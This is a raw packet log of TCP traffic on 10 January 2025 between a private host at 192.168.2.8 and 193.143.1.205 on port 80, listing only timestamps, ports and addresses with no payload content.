Jan 10, 2025 22:44:01.151309013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151349068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151360989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151412964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.151412964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.151835918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151860952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151873112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152004957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152018070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152029991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152041912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152044058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.152055025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152056932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.152103901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.152103901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.152204037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152215004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152280092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.152750969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152772903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152786016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152864933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.152926922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152939081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152950048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.152975082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.153074980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153086901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153098106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153112888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153136015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.153136015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.153158903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.153656006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153688908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153700113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153743982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.153769970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153780937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153789043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.153831959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.153831959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.155833960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.155946016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.164489031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164526939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164537907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164551020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164582968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.164633989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164644957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164676905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164683104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.164683104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.164757013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164768934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164834976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164838076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.164845943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164979935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.164989948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.165003061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.165024996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.165040970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.165040970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.165066004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.166770935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.212532997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.212553024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.212580919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.212594032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.212605953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.212611914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.212620020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.212646008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.212666035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.239460945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239491940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239515066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239533901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.239543915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239553928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.239556074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239604950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.239671946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239686966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239696980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239708900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239722013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239733934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239736080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.239769936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.239793062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239804029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239836931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.239882946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239893913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239903927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.239962101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.240078926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.240089893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.240144968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.267455101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267466068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267477036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267571926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.267620087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267631054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267676115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.267796040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267807007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267817020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267869949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.267963886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267975092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267986059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.267997980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268042088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.268058062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.268116951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268163919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.268270016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268280029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268323898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.268434048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268444061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268455982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268502951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.268608093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268619061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268630028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268641949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268661976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.268691063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.268748045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268759966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268771887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268805027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.268821001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.268940926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268953085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268964052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.268976927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269000053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.269028902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.269256115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269265890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269277096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269289017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269299030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269340992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.269498110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269546032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.269706011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269718885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269730091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269740105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269752979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269752979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.269773006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.269795895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.269818068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.270064116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270076036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270087004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270101070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270109892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.270153999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.270215988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270397902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270410061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270421028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270431042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270437956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270446062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.270446062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270471096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.270502090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.270700932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270710945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270724058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270735025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270741940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.270777941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.270859957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270872116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270881891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.270911932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.270929098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.273216963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273466110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273511887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.273606062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273699045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273711920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273739100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273740053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.273749113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273758888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273783922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.273813009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.273940086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273950100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273960114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273969889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273979902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.273992062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274002075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.274034977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.274092913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274447918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274458885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274470091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274492979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.274513006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.274606943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274621964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274632931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274642944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274656057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274666071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274677992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274689913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.274720907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.274764061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274775028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274784088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274795055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.274810076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.274837017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.279063940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.292186022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.304116964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.304133892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.304145098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.304186106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.304219961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.304246902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.304258108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.304267883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.304280996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.304347038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.330113888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330135107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330147982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330159903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330172062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330185890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330220938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.330250025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330262899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330274105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330353975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.330357075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330368042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330379963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330394030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.330403090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.330426931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.330492973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330506086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330516100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330543041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.330588102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330598116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330604076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330653906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.330790043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330800056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330811024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330823898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330833912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.330842018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.330892086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374022961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374053001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374064922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374119997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374135017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374161005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374213934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374247074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374258041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374268055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374300003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374322891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374407053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374418020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374428034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374439955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374444962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374454975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374492884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374598026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374608994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374619007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374629974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374641895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374650955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374679089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374701977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374751091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374761105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374772072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374798059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374939919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374949932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374959946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374970913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374983072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.374989986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.374998093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375006914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375025034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375050068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375077963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375138044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375148058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375216961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375247002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375257015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375267029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375279903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375292063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375329971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375411034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375422001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375478029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375575066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375586033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375595093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375606060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375617027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375622034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375648022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375670910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375737906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375751972 CET	80	49705	193.143.1.205	192.168.2.8
